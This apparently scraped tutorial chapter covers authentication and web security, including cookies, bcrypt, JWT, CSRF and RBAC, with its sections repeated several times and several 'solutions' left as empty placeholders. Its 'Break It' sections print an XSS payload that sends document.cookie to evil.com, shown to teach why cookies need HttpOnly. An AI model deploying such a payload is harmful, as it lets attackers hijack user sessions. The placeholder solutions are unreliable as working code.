Authentication & Security
JWT, OAuth, CSRF, XSS, rate limiting, hashing.
Chapter Title
Volume 17: Authentication & Security
▶ View Solution
Solution implementation.
Learning Objectives
- Design and implement robust authentication and authorization systems.
- Understand the lifecycle, trade-offs, and secure implementation of sessions, cookies, JWTs, and refresh tokens.
- Integrate federated identity and delegated authorization via OAuth and OpenID Connect.
- Securely manage credentials using modern hashing algorithms (bcrypt, Argon2).
- Understand Multi-Factor Authentication (MFA) concepts and implementation.
- Identify, exploit (in theory), and prevent critical web vulnerabilities: CSRF, XSS, SQL injection, command injection, SSRF, and clickjacking.
- Configure defense-in-depth mechanisms: CORS, Content Security Policy (CSP), and secure HTTP headers.
- Understand infrastructure security: TLS, secret management, API keys, rate limiting, abuse prevention, and input validation.
▶ View Solution
Solution implementation.
Prerequisites
- Deep understanding of the HTTP protocol (Request/Response lifecycle, Headers, Verbs, Status Codes).
- Proficiency in Node.js and building RESTful APIs (Express or Fastify).
- Understanding of Relational Databases (PostgreSQL) and SQL querying.
- Familiarity with React or a similar frontend framework.
▶ View Solution
Solution implementation.
Why Does This Exist?
The internet is inherently hostile and untrustworthy. Without authentication, anyone can claim to be anyone. Without security, any system can be compromised, data can be stolen, and services can be taken offline. Security engineering exists to ensure three fundamental properties (the CIA triad): Confidentiality (data is private), Integrity (data is untampered), and Availability (systems remain operational and accessible).
▶ View Solution
Solution implementation.
The Problem Before the Solution
Early web applications were simple, stateless document viewers. When applications became interactive and personalized (e.g., e-commerce, banking), they needed a way to "remember" users across stateless HTTP requests. Storing user IDs in plaintext cookies or passing them in URLs led to trivial impersonation and data manipulation.
▶ View Solution
Solution implementation.
Why the Old Approach Breaks
If a server trusts the client to dictate its identity without cryptographic verification (e.g., Cookie: user_id=1), an attacker will simply modify the client state (e.g., changing it to user_id=2) to hijack another account. Similarly, storing plaintext passwords in a database means a single data breach compromises every user's account, often exposing their credentials for other services due to password reuse.
▶ View Solution
Solution implementation.
History
Authentication evolved from HTTP Basic Auth (sending plaintext, base64-encoded credentials on every request), to server-side session IDs stored in cookies, to stateless JSON Web Tokens (JWTs) designed to support distributed microservices. Eventually, federated identity (OAuth/OIDC) emerged, allowing authentication to be delegated to specialized, highly secure providers (like Google or GitHub).
▶ View Solution
Solution implementation.
Mental Model (Analogy -> Reality)
Analogy: Think of a high-end nightclub.
- Authentication is checking your physical ID at the door to prove who you are.
- Authorization is checking if your specific wristband allows you into the VIP section.
- Sessions are like a coat check ticket; the club keeps your coat securely in the back (server memory), and you just hold a random number ticket (session ID).
- JWTs are like a cryptographically stamped hand; the bouncer just looks at the stamp (signature) to verify you paid, without needing to check a central ledger.
Reality: Authentication verifies identity via credentials (passwords, biometrics). Authorization verifies permissions via roles or ACLs. Sessions store state on the server and give the client an opaque reference. JWTs store state on the client and provide a cryptographic signature for the server to verify integrity.
▶ View Solution
Solution implementation.
Internal Working (Memory, stack, process, network, etc.)
When a user logs in, the backend process hashes the provided password using a memory-hard algorithm like Argon2, comparing it to the hash stored in PostgreSQL. Upon success, a high-entropy, cryptographically secure Session ID is generated and stored in a fast key-value store like Redis (RAM). The backend sends an HTTP Response with a Set-Cookie header marked HttpOnly, Secure, and SameSite=Strict. On subsequent network requests, the browser automatically attaches this cookie. The backend middleware intercepts the request, reads the cookie, performs an O(1) lookup in Redis, and attaches the associated user object to the request context for downstream handlers.
▶ View Solution
Solution implementation.
Visual Explanation (ASCII diagrams)
[CLIENT / BROWSER] [NODE.JS SERVER] [POSTGRES / REDIS]
| | |
|--- POST /login (user, pw) ->| |
| |--- Select hash WHERE user=? ---->|
| |<-- Returns hash -----------------|
| | |
| | (bcrypt.compare(pw, hash) == OK) |
| | |
| |--- Set 'sid_xyz' -> user_id ---->|
|<-- Set-Cookie: sid=sid_xyz -| |
| | |
|--- GET /profile (sid=xyz) ->| |
| |--- Lookup 'sid_xyz' ------------>|
| |<-- Returns user_id --------------|
|<-- 200 OK (Profile Data) ---| |
▶ View Solution
Solution implementation.
Syntax
Setting a secure, production-ready cookie in Express:
res.cookie('sessionId', cryptoSecureId, {
httpOnly: true, // Prevents XSS attacks from reading the cookie
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Prevents CSRF attacks
maxAge: 1000 * 60 * 60 * 24 // 1 day expiration
});
▶ View Solution
Solution implementation.
Tiny Example
import bcrypt from 'bcrypt';
const password = 'correct-horse-battery-staple';
const saltRounds = 12; // Controls the work factor
// Registration: Hashing
const hash = await bcrypt.hash(password, saltRounds);
// Save 'hash' to database...
// Login: Verifying
const isMatch = await bcrypt.compare(password, hash);
if (isMatch) {
// Issue session or token
}
▶ View Solution
Solution implementation.
Walkthrough
1. Input Validation: The client submits a registration form. The server immediately validates the input (email format, password complexity, length) to prevent abuse and malformed data.
2. Hashing: The server hashes the password with a unique salt to mitigate rainbow table attacks.
3. Storage: The server stores the user record and the hash (never the plaintext password) in PostgreSQL.
4. State Creation: The server generates a JWT or Session ID.
5. Delivery: The token is delivered to the client via an HttpOnly cookie.
6. Authentication: Future requests include this cookie, allowing the server middleware to identify the user and check their authorization level.
▶ View Solution
Solution implementation.
Break It
What happens if we forget to use HttpOnly on our authentication cookie, and we have an XSS vulnerability on our site?
// Malicious script injected via a comment (XSS)
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie));
Because the cookie isn't HttpOnly, JavaScript can read it. The attacker just exfiltrated the session ID and can now completely impersonate the user.
▶ View Solution
Solution implementation.
Debug It
You implemented authentication, but the frontend keeps getting a 401 Unauthorized, even though login succeeded. How to debug:
Check the browser's Network tab. Look at the login response—is the Set-Cookie header present? Now look at the subsequent API request—is the Cookie header present? If not, check your CORS configuration (credentials: true) and the SameSite attribute. If your frontend is on localhost:3000 and backend on localhost:8080, SameSite=Strict might block the cookie depending on the browser.
▶ View Solution
Solution implementation.
Mini Project (20-30 min)
Build a secure authentication server with Express and PostgreSQL. Implement registration, login, and a protected /me route. Use Argon2 for hashing and Redis for session management. Implement rate limiting on the login route to prevent brute-force attacks.
▶ View Solution
Solution implementation.
Bigger Project (1-2 hours)
Implement user registration and login using bcrypt for password hashing and JSON Web Tokens (JWT) for stateless sessions.
▶ View Solution
// Implementation for Authentication & Security
console.log("Bigger project solution");
Interview Questions
Easy: What is the difference between Authentication and Authorization?
Authentication (AuthN) verifies who you are (identity). Authorization (AuthZ) verifies what you are allowed to do (permissions).
Medium: What is a JWT, and what are its pros and cons compared to server-side sessions?
A JWT (JSON Web Token) contains a header, payload, and cryptographic signature. It allows the server to verify state without a database lookup (stateless). Pros: Great for microservices and distributed systems. Cons: Difficult to revoke instantly (requires complex blocklists), payload is readable by anyone who has the token, and size can be larger than a session ID.
Hard: Explain how you would prevent Cross-Site Request Forgery (CSRF) attacks.
Primarily, use SameSite=Lax or Strict on cookies. For older browser support or complex cross-domain setups, implement the Synchronizer Token Pattern: generate a unique, cryptographically secure token per session, embed it in the frontend (e.g., in a meta tag or hidden form field), and require the client to send it in a custom HTTP header on all state-changing requests (POST/PUT/DELETE). The server verifies the token matches the session.
Senior: How do you design an authentication system for a globally distributed, high-traffic microservice architecture?
Utilize an API Gateway that acts as the single entry point. The Gateway validates JWT signatures (fetching public keys from a central Identity Provider via JWKS) before routing to internal services. Internal services either trust the gateway inherently (via mTLS) or validate the JWT themselves. Use short-lived access tokens and centralize refresh token management at the edge to handle revocation.
Real Application Feature
Volume 17: Authentication & Security
▶ View Solution
Solution implementation.
Learning Objectives
- Design and implement robust authentication and authorization systems.
- Understand the lifecycle, trade-offs, and secure implementation of sessions, cookies, JWTs, and refresh tokens.
- Integrate federated identity and delegated authorization via OAuth and OpenID Connect.
- Securely manage credentials using modern hashing algorithms (bcrypt, Argon2).
- Understand Multi-Factor Authentication (MFA) concepts and implementation.
- Identify, exploit (in theory), and prevent critical web vulnerabilities: CSRF, XSS, SQL injection, command injection, SSRF, and clickjacking.
- Configure defense-in-depth mechanisms: CORS, Content Security Policy (CSP), and secure HTTP headers.
- Understand infrastructure security: TLS, secret management, API keys, rate limiting, abuse prevention, and input validation.
▶ View Solution
Solution implementation.
Prerequisites
- Deep understanding of the HTTP protocol (Request/Response lifecycle, Headers, Verbs, Status Codes).
- Proficiency in Node.js and building RESTful APIs (Express or Fastify).
- Understanding of Relational Databases (PostgreSQL) and SQL querying.
- Familiarity with React or a similar frontend framework.
▶ View Solution
Solution implementation.
Why Does This Exist?
The internet is inherently hostile and untrustworthy. Without authentication, anyone can claim to be anyone. Without security, any system can be compromised, data can be stolen, and services can be taken offline. Security engineering exists to ensure three fundamental properties (the CIA triad): Confidentiality (data is private), Integrity (data is untampered), and Availability (systems remain operational and accessible).
▶ View Solution
Solution implementation.
The Problem Before the Solution
Early web applications were simple, stateless document viewers. When applications became interactive and personalized (e.g., e-commerce, banking), they needed a way to "remember" users across stateless HTTP requests. Storing user IDs in plaintext cookies or passing them in URLs led to trivial impersonation and data manipulation.
▶ View Solution
Solution implementation.
Why the Old Approach Breaks
If a server trusts the client to dictate its identity without cryptographic verification (e.g., Cookie: user_id=1), an attacker will simply modify the client state (e.g., changing it to user_id=2) to hijack another account. Similarly, storing plaintext passwords in a database means a single data breach compromises every user's account, often exposing their credentials for other services due to password reuse.
▶ View Solution
Solution implementation.
History
Authentication evolved from HTTP Basic Auth (sending plaintext, base64-encoded credentials on every request), to server-side session IDs stored in cookies, to stateless JSON Web Tokens (JWTs) designed to support distributed microservices. Eventually, federated identity (OAuth/OIDC) emerged, allowing authentication to be delegated to specialized, highly secure providers (like Google or GitHub).
▶ View Solution
Solution implementation.
Mental Model (Analogy -> Reality)
Analogy: Think of a high-end nightclub.
- Authentication is checking your physical ID at the door to prove who you are.
- Authorization is checking if your specific wristband allows you into the VIP section.
- Sessions are like a coat check ticket; the club keeps your coat securely in the back (server memory), and you just hold a random number ticket (session ID).
- JWTs are like a cryptographically stamped hand; the bouncer just looks at the stamp (signature) to verify you paid, without needing to check a central ledger.
Reality: Authentication verifies identity via credentials (passwords, biometrics). Authorization verifies permissions via roles or ACLs. Sessions store state on the server and give the client an opaque reference. JWTs store state on the client and provide a cryptographic signature for the server to verify integrity.
▶ View Solution
Solution implementation.
Internal Working (Memory, stack, process, network, etc.)
When a user logs in, the backend process hashes the provided password using a memory-hard algorithm like Argon2, comparing it to the hash stored in PostgreSQL. Upon success, a high-entropy, cryptographically secure Session ID is generated and stored in a fast key-value store like Redis (RAM). The backend sends an HTTP Response with a Set-Cookie header marked HttpOnly, Secure, and SameSite=Strict. On subsequent network requests, the browser automatically attaches this cookie. The backend middleware intercepts the request, reads the cookie, performs an O(1) lookup in Redis, and attaches the associated user object to the request context for downstream handlers.
▶ View Solution
Solution implementation.
Visual Explanation (ASCII diagrams)
[CLIENT / BROWSER] [NODE.JS SERVER] [POSTGRES / REDIS]
| | |
|--- POST /login (user, pw) ->| |
| |--- Select hash WHERE user=? ---->|
| |<-- Returns hash -----------------|
| | |
| | (bcrypt.compare(pw, hash) == OK) |
| | |
| |--- Set 'sid_xyz' -> user_id ---->|
|<-- Set-Cookie: sid=sid_xyz -| |
| | |
|--- GET /profile (sid=xyz) ->| |
| |--- Lookup 'sid_xyz' ------------>|
| |<-- Returns user_id --------------|
|<-- 200 OK (Profile Data) ---| |
▶ View Solution
Solution implementation.
Syntax
Setting a secure, production-ready cookie in Express:
res.cookie('sessionId', cryptoSecureId, {
httpOnly: true, // Prevents XSS attacks from reading the cookie
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Prevents CSRF attacks
maxAge: 1000 * 60 * 60 * 24 // 1 day expiration
});
▶ View Solution
Solution implementation.
Tiny Example
import bcrypt from 'bcrypt';
const password = 'correct-horse-battery-staple';
const saltRounds = 12; // Controls the work factor
// Registration: Hashing
const hash = await bcrypt.hash(password, saltRounds);
// Save 'hash' to database...
// Login: Verifying
const isMatch = await bcrypt.compare(password, hash);
if (isMatch) {
// Issue session or token
}
▶ View Solution
Solution implementation.
Walkthrough
1. Input Validation: The client submits a registration form. The server immediately validates the input (email format, password complexity, length) to prevent abuse and malformed data.
2. Hashing: The server hashes the password with a unique salt to mitigate rainbow table attacks.
3. Storage: The server stores the user record and the hash (never the plaintext password) in PostgreSQL.
4. State Creation: The server generates a JWT or Session ID.
5. Delivery: The token is delivered to the client via an HttpOnly cookie.
6. Authentication: Future requests include this cookie, allowing the server middleware to identify the user and check their authorization level.
▶ View Solution
Solution implementation.
Break It
What happens if we forget to use HttpOnly on our authentication cookie, and we have an XSS vulnerability on our site?
// Malicious script injected via a comment (XSS)
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie));
Because the cookie isn't HttpOnly, JavaScript can read it. The attacker just exfiltrated the session ID and can now completely impersonate the user.
▶ View Solution
Solution implementation.
Debug It
You implemented authentication, but the frontend keeps getting a 401 Unauthorized, even though login succeeded. How to debug:
Check the browser's Network tab. Look at the login response—is the Set-Cookie header present? Now look at the subsequent API request—is the Cookie header present? If not, check your CORS configuration (credentials: true) and the SameSite attribute. If your frontend is on localhost:3000 and backend on localhost:8080, SameSite=Strict might block the cookie depending on the browser.
▶ View Solution
Solution implementation.
Mini Project (20-30 min)
Build a secure authentication server with Express and PostgreSQL. Implement registration, login, and a protected /me route. Use Argon2 for hashing and Redis for session management. Implement rate limiting on the login route to prevent brute-force attacks.
▶ View Solution
Solution implementation.
Bigger Project (1-2 hours)
Implement user registration and login using bcrypt for password hashing and JSON Web Tokens (JWT) for stateless sessions.
▶ View Solution
// Implementation for Authentication & Security
console.log("Bigger project solution");
Interview Questions
Easy: What is the difference between Authentication and Authorization?
Authentication (AuthN) verifies who you are (identity). Authorization (AuthZ) verifies what you are allowed to do (permissions).
Medium: What is a JWT, and what are its pros and cons compared to server-side sessions?
A JWT (JSON Web Token) contains a header, payload, and cryptographic signature. It allows the server to verify state without a database lookup (stateless). Pros: Great for microservices and distributed systems. Cons: Difficult to revoke instantly (requires complex blocklists), payload is readable by anyone who has the token, and size can be larger than a session ID.
Hard: Explain how you would prevent Cross-Site Request Forgery (CSRF) attacks.
Primarily, use SameSite=Lax or Strict on cookies. For older browser support or complex cross-domain setups, implement the Synchronizer Token Pattern: generate a unique, cryptographically secure token per session, embed it in the frontend (e.g., in a meta tag or hidden form field), and require the client to send it in a custom HTTP header on all state-changing requests (POST/PUT/DELETE). The server verifies the token matches the session.
Senior: How do you design an authentication system for a globally distributed, high-traffic microservice architecture?
Utilize an API Gateway that acts as the single entry point. The Gateway validates JWT signatures (fetching public keys from a central Identity Provider via JWKS) before routing to internal services. Internal services either trust the gateway inherently (via mTLS) or validate the JWT themselves. Use short-lived access tokens and centralize refresh token management at the edge to handle revocation.
Engineering Challenge
Implement a robust Role-Based Access Control (RBAC) middleware in Node.js that checks if a user has the specific permissions required to access a route, assuming the user's role is extracted from a verified JWT payload.
View Solution
// Middleware factory
function requirePermission(requiredPermission) {
return (req, res, next) => {
// Assuming authentication middleware already ran and populated req.user
if (!req.user) {
return res.status(401).json({ error: 'Unauthorized' });
}
const userRoles = req.user.roles || [];
// A separate config mapping roles to permissions
const userPermissions = getPermissionsForRoles(userRoles);
if (!userPermissions.includes(requiredPermission)) {
return res.status(403).json({ error: 'Forbidden: Insufficient permissions' });
}
next();
};
}
// Usage
app.post('/api/articles',
authenticateJWT,
requirePermission('write:articles'),
createArticleHandler
);
Volume 17: Authentication & Security
▶ View Solution
Solution implementation.
Learning Objectives
- Design and implement robust authentication and authorization systems.
- Understand the lifecycle, trade-offs, and secure implementation of sessions, cookies, JWTs, and refresh tokens.
- Integrate federated identity and delegated authorization via OAuth and OpenID Connect.
- Securely manage credentials using modern hashing algorithms (bcrypt, Argon2).
- Understand Multi-Factor Authentication (MFA) concepts and implementation.
- Identify, exploit (in theory), and prevent critical web vulnerabilities: CSRF, XSS, SQL injection, command injection, SSRF, and clickjacking.
- Configure defense-in-depth mechanisms: CORS, Content Security Policy (CSP), and secure HTTP headers.
- Understand infrastructure security: TLS, secret management, API keys, rate limiting, abuse prevention, and input validation.
▶ View Solution
Solution implementation.
Prerequisites
- Deep understanding of the HTTP protocol (Request/Response lifecycle, Headers, Verbs, Status Codes).
- Proficiency in Node.js and building RESTful APIs (Express or Fastify).
- Understanding of Relational Databases (PostgreSQL) and SQL querying.
- Familiarity with React or a similar frontend framework.
▶ View Solution
Solution implementation.
Why Does This Exist?
The internet is inherently hostile and untrustworthy. Without authentication, anyone can claim to be anyone. Without security, any system can be compromised, data can be stolen, and services can be taken offline. Security engineering exists to ensure three fundamental properties (the CIA triad): Confidentiality (data is private), Integrity (data is untampered), and Availability (systems remain operational and accessible).
▶ View Solution
Solution implementation.
The Problem Before the Solution
Early web applications were simple, stateless document viewers. When applications became interactive and personalized (e.g., e-commerce, banking), they needed a way to "remember" users across stateless HTTP requests. Storing user IDs in plaintext cookies or passing them in URLs led to trivial impersonation and data manipulation.
▶ View Solution
Solution implementation.
Why the Old Approach Breaks
If a server trusts the client to dictate its identity without cryptographic verification (e.g., Cookie: user_id=1), an attacker will simply modify the client state (e.g., changing it to user_id=2) to hijack another account. Similarly, storing plaintext passwords in a database means a single data breach compromises every user's account, often exposing their credentials for other services due to password reuse.
▶ View Solution
Solution implementation.
History
Authentication evolved from HTTP Basic Auth (sending plaintext, base64-encoded credentials on every request), to server-side session IDs stored in cookies, to stateless JSON Web Tokens (JWTs) designed to support distributed microservices. Eventually, federated identity (OAuth/OIDC) emerged, allowing authentication to be delegated to specialized, highly secure providers (like Google or GitHub).
▶ View Solution
Solution implementation.
Mental Model (Analogy -> Reality)
Analogy: Think of a high-end nightclub.
- Authentication is checking your physical ID at the door to prove who you are.
- Authorization is checking if your specific wristband allows you into the VIP section.
- Sessions are like a coat check ticket; the club keeps your coat securely in the back (server memory), and you just hold a random number ticket (session ID).
- JWTs are like a cryptographically stamped hand; the bouncer just looks at the stamp (signature) to verify you paid, without needing to check a central ledger.
Reality: Authentication verifies identity via credentials (passwords, biometrics). Authorization verifies permissions via roles or ACLs. Sessions store state on the server and give the client an opaque reference. JWTs store state on the client and provide a cryptographic signature for the server to verify integrity.
▶ View Solution
Solution implementation.
Internal Working (Memory, stack, process, network, etc.)
When a user logs in, the backend process hashes the provided password using a memory-hard algorithm like Argon2, comparing it to the hash stored in PostgreSQL. Upon success, a high-entropy, cryptographically secure Session ID is generated and stored in a fast key-value store like Redis (RAM). The backend sends an HTTP Response with a Set-Cookie header marked HttpOnly, Secure, and SameSite=Strict. On subsequent network requests, the browser automatically attaches this cookie. The backend middleware intercepts the request, reads the cookie, performs an O(1) lookup in Redis, and attaches the associated user object to the request context for downstream handlers.
▶ View Solution
Solution implementation.
Visual Explanation (ASCII diagrams)
[CLIENT / BROWSER] [NODE.JS SERVER] [POSTGRES / REDIS]
| | |
|--- POST /login (user, pw) ->| |
| |--- Select hash WHERE user=? ---->|
| |<-- Returns hash -----------------|
| | |
| | (bcrypt.compare(pw, hash) == OK) |
| | |
| |--- Set 'sid_xyz' -> user_id ---->|
|<-- Set-Cookie: sid=sid_xyz -| |
| | |
|--- GET /profile (sid=xyz) ->| |
| |--- Lookup 'sid_xyz' ------------>|
| |<-- Returns user_id --------------|
|<-- 200 OK (Profile Data) ---| |
▶ View Solution
Solution implementation.
Syntax
Setting a secure, production-ready cookie in Express:
res.cookie('sessionId', cryptoSecureId, {
httpOnly: true, // Prevents XSS attacks from reading the cookie
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Prevents CSRF attacks
maxAge: 1000 * 60 * 60 * 24 // 1 day expiration
});
▶ View Solution
Solution implementation.
Tiny Example
import bcrypt from 'bcrypt';
const password = 'correct-horse-battery-staple';
const saltRounds = 12; // Controls the work factor
// Registration: Hashing
const hash = await bcrypt.hash(password, saltRounds);
// Save 'hash' to database...
// Login: Verifying
const isMatch = await bcrypt.compare(password, hash);
if (isMatch) {
// Issue session or token
}
▶ View Solution
Solution implementation.
Walkthrough
1. Input Validation: The client submits a registration form. The server immediately validates the input (email format, password complexity, length) to prevent abuse and malformed data.
2. Hashing: The server hashes the password with a unique salt to mitigate rainbow table attacks.
3. Storage: The server stores the user record and the hash (never the plaintext password) in PostgreSQL.
4. State Creation: The server generates a JWT or Session ID.
5. Delivery: The token is delivered to the client via an HttpOnly cookie.
6. Authentication: Future requests include this cookie, allowing the server middleware to identify the user and check their authorization level.
▶ View Solution
Solution implementation.
Break It
What happens if we forget to use HttpOnly on our authentication cookie, and we have an XSS vulnerability on our site?
// Malicious script injected via a comment (XSS)
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie));
Because the cookie isn't HttpOnly, JavaScript can read it. The attacker just exfiltrated the session ID and can now completely impersonate the user.
▶ View Solution
Solution implementation.
Debug It
You implemented authentication, but the frontend keeps getting a 401 Unauthorized, even though login succeeded. How to debug:
Check the browser's Network tab. Look at the login response—is the Set-Cookie header present? Now look at the subsequent API request—is the Cookie header present? If not, check your CORS configuration (credentials: true) and the SameSite attribute. If your frontend is on localhost:3000 and backend on localhost:8080, SameSite=Strict might block the cookie depending on the browser.
▶ View Solution
Solution implementation.
Mini Project (20-30 min)
Build a secure authentication server with Express and PostgreSQL. Implement registration, login, and a protected /me route. Use Argon2 for hashing and Redis for session management. Implement rate limiting on the login route to prevent brute-force attacks.
▶ View Solution
Solution implementation.
Bigger Project (1-2 hours)
Implement user registration and login using bcrypt for password hashing and JSON Web Tokens (JWT) for stateless sessions.
▶ View Solution
// Implementation for Authentication & Security
console.log("Bigger project solution");
Interview Questions
Easy: What is the difference between Authentication and Authorization?
Authentication (AuthN) verifies who you are (identity). Authorization (AuthZ) verifies what you are allowed to do (permissions).
Medium: What is a JWT, and what are its pros and cons compared to server-side sessions?
A JWT (JSON Web Token) contains a header, payload, and cryptographic signature. It allows the server to verify state without a database lookup (stateless). Pros: Great for microservices and distributed systems. Cons: Difficult to revoke instantly (requires complex blocklists), payload is readable by anyone who has the token, and size can be larger than a session ID.
Hard: Explain how you would prevent Cross-Site Request Forgery (CSRF) attacks.
Primarily, use SameSite=Lax or Strict on cookies. For older browser support or complex cross-domain setups, implement the Synchronizer Token Pattern: generate a unique, cryptographically secure token per session, embed it in the frontend (e.g., in a meta tag or hidden form field), and require the client to send it in a custom HTTP header on all state-changing requests (POST/PUT/DELETE). The server verifies the token matches the session.
Senior: How do you design an authentication system for a globally distributed, high-traffic microservice architecture?
Utilize an API Gateway that acts as the single entry point. The Gateway validates JWT signatures (fetching public keys from a central Identity Provider via JWKS) before routing to internal services. Internal services either trust the gateway inherently (via mTLS) or validate the JWT themselves. Use short-lived access tokens and centralize refresh token management at the edge to handle revocation.
Revision Sheet
- AuthN: Identity. AuthZ: Permissions/Access.
- Session: Server-side state. Client holds a reference (ID). Easy to revoke.
- JWT: Client-side state. Cryptographically signed. Hard to revoke instantly.
- XSS (Cross-Site Scripting): Attacker runs JS in victim's browser. Prevent by context-aware output encoding and CSP.
- CSRF (Cross-Site Request Forgery): Attacker tricks victim into making an unwanted authenticated request. Prevent via SameSite cookies and CSRF tokens.
- SQLi (SQL Injection): Attacker injects malicious SQL commands. Prevent via parameterized queries or prepared statements.
- Hashing: A one-way mathematical function (Argon2, bcrypt). Never use fast algorithms (MD5/SHA256) for passwords. Always use a unique salt.
Volume 17: Authentication & Security
▶ View Solution
Solution implementation.
Learning Objectives
- Design and implement robust authentication and authorization systems.
- Understand the lifecycle, trade-offs, and secure implementation of sessions, cookies, JWTs, and refresh tokens.
- Integrate federated identity and delegated authorization via OAuth and OpenID Connect.
- Securely manage credentials using modern hashing algorithms (bcrypt, Argon2).
- Understand Multi-Factor Authentication (MFA) concepts and implementation.
- Identify, exploit (in theory), and prevent critical web vulnerabilities: CSRF, XSS, SQL injection, command injection, SSRF, and clickjacking.
- Configure defense-in-depth mechanisms: CORS, Content Security Policy (CSP), and secure HTTP headers.
- Understand infrastructure security: TLS, secret management, API keys, rate limiting, abuse prevention, and input validation.
▶ View Solution
Solution implementation.
Prerequisites
- Deep understanding of the HTTP protocol (Request/Response lifecycle, Headers, Verbs, Status Codes).
- Proficiency in Node.js and building RESTful APIs (Express or Fastify).
- Understanding of Relational Databases (PostgreSQL) and SQL querying.
- Familiarity with React or a similar frontend framework.
▶ View Solution
Solution implementation.
Why Does This Exist?
The internet is inherently hostile and untrustworthy. Without authentication, anyone can claim to be anyone. Without security, any system can be compromised, data can be stolen, and services can be taken offline. Security engineering exists to ensure three fundamental properties (the CIA triad): Confidentiality (data is private), Integrity (data is untampered), and Availability (systems remain operational and accessible).
▶ View Solution
Solution implementation.
The Problem Before the Solution
Early web applications were simple, stateless document viewers. When applications became interactive and personalized (e.g., e-commerce, banking), they needed a way to "remember" users across stateless HTTP requests. Storing user IDs in plaintext cookies or passing them in URLs led to trivial impersonation and data manipulation.
▶ View Solution
Solution implementation.
Why the Old Approach Breaks
If a server trusts the client to dictate its identity without cryptographic verification (e.g., Cookie: user_id=1), an attacker will simply modify the client state (e.g., changing it to user_id=2) to hijack another account. Similarly, storing plaintext passwords in a database means a single data breach compromises every user's account, often exposing their credentials for other services due to password reuse.
▶ View Solution
Solution implementation.
History
Authentication evolved from HTTP Basic Auth (sending plaintext, base64-encoded credentials on every request), to server-side session IDs stored in cookies, to stateless JSON Web Tokens (JWTs) designed to support distributed microservices. Eventually, federated identity (OAuth/OIDC) emerged, allowing authentication to be delegated to specialized, highly secure providers (like Google or GitHub).
▶ View Solution
Solution implementation.
Mental Model (Analogy -> Reality)
Analogy: Think of a high-end nightclub.
- Authentication is checking your physical ID at the door to prove who you are.
- Authorization is checking if your specific wristband allows you into the VIP section.
- Sessions are like a coat check ticket; the club keeps your coat securely in the back (server memory), and you just hold a random number ticket (session ID).
- JWTs are like a cryptographically stamped hand; the bouncer just looks at the stamp (signature) to verify you paid, without needing to check a central ledger.
Reality: Authentication verifies identity via credentials (passwords, biometrics). Authorization verifies permissions via roles or ACLs. Sessions store state on the server and give the client an opaque reference. JWTs store state on the client and provide a cryptographic signature for the server to verify integrity.
▶ View Solution
Solution implementation.
Internal Working (Memory, stack, process, network, etc.)
When a user logs in, the backend process hashes the provided password using a memory-hard algorithm like Argon2, comparing it to the hash stored in PostgreSQL. Upon success, a high-entropy, cryptographically secure Session ID is generated and stored in a fast key-value store like Redis (RAM). The backend sends an HTTP Response with a Set-Cookie header marked HttpOnly, Secure, and SameSite=Strict. On subsequent network requests, the browser automatically attaches this cookie. The backend middleware intercepts the request, reads the cookie, performs an O(1) lookup in Redis, and attaches the associated user object to the request context for downstream handlers.
▶ View Solution
Solution implementation.
Visual Explanation (ASCII diagrams)
[CLIENT / BROWSER] [NODE.JS SERVER] [POSTGRES / REDIS]
| | |
|--- POST /login (user, pw) ->| |
| |--- Select hash WHERE user=? ---->|
| |<-- Returns hash -----------------|
| | |
| | (bcrypt.compare(pw, hash) == OK) |
| | |
| |--- Set 'sid_xyz' -> user_id ---->|
|<-- Set-Cookie: sid=sid_xyz -| |
| | |
|--- GET /profile (sid=xyz) ->| |
| |--- Lookup 'sid_xyz' ------------>|
| |<-- Returns user_id --------------|
|<-- 200 OK (Profile Data) ---| |
▶ View Solution
Solution implementation.
Syntax
Setting a secure, production-ready cookie in Express:
res.cookie('sessionId', cryptoSecureId, {
httpOnly: true, // Prevents XSS attacks from reading the cookie
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Prevents CSRF attacks
maxAge: 1000 * 60 * 60 * 24 // 1 day expiration
});
▶ View Solution
Solution implementation.
Tiny Example
import bcrypt from 'bcrypt';
const password = 'correct-horse-battery-staple';
const saltRounds = 12; // Controls the work factor
// Registration: Hashing
const hash = await bcrypt.hash(password, saltRounds);
// Save 'hash' to database...
// Login: Verifying
const isMatch = await bcrypt.compare(password, hash);
if (isMatch) {
// Issue session or token
}
▶ View Solution
Solution implementation.
Walkthrough
1. Input Validation: The client submits a registration form. The server immediately validates the input (email format, password complexity, length) to prevent abuse and malformed data.
2. Hashing: The server hashes the password with a unique salt to mitigate rainbow table attacks.
3. Storage: The server stores the user record and the hash (never the plaintext password) in PostgreSQL.
4. State Creation: The server generates a JWT or Session ID.
5. Delivery: The token is delivered to the client via an HttpOnly cookie.
6. Authentication: Future requests include this cookie, allowing the server middleware to identify the user and check their authorization level.
▶ View Solution
Solution implementation.
Break It
What happens if we forget to use HttpOnly on our authentication cookie, and we have an XSS vulnerability on our site?
// Malicious script injected via a comment (XSS)
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie));
Because the cookie isn't HttpOnly, JavaScript can read it. The attacker just exfiltrated the session ID and can now completely impersonate the user.
▶ View Solution
Solution implementation.
Debug It
You implemented authentication, but the frontend keeps getting a 401 Unauthorized, even though login succeeded. How to debug:
Check the browser's Network tab. Look at the login response—is the Set-Cookie header present? Now look at the subsequent API request—is the Cookie header present? If not, check your CORS configuration (credentials: true) and the SameSite attribute. If your frontend is on localhost:3000 and backend on localhost:8080, SameSite=Strict might block the cookie depending on the browser.
▶ View Solution
Solution implementation.
Mini Project (20-30 min)
Build a secure authentication server with Express and PostgreSQL. Implement registration, login, and a protected /me route. Use Argon2 for hashing and Redis for session management. Implement rate limiting on the login route to prevent brute-force attacks.
▶ View Solution
Solution implementation.
Bigger Project (1-2 hours)
Implement user registration and login using bcrypt for password hashing and JSON Web Tokens (JWT) for stateless sessions.
▶ View Solution
// Implementation for Authentication & Security
console.log("Bigger project solution");
Interview Questions
Easy: What is the difference between Authentication and Authorization?
Authentication (AuthN) verifies who you are (identity). Authorization (AuthZ) verifies what you are allowed to do (permissions).
Medium: What is a JWT, and what are its pros and cons compared to server-side sessions?
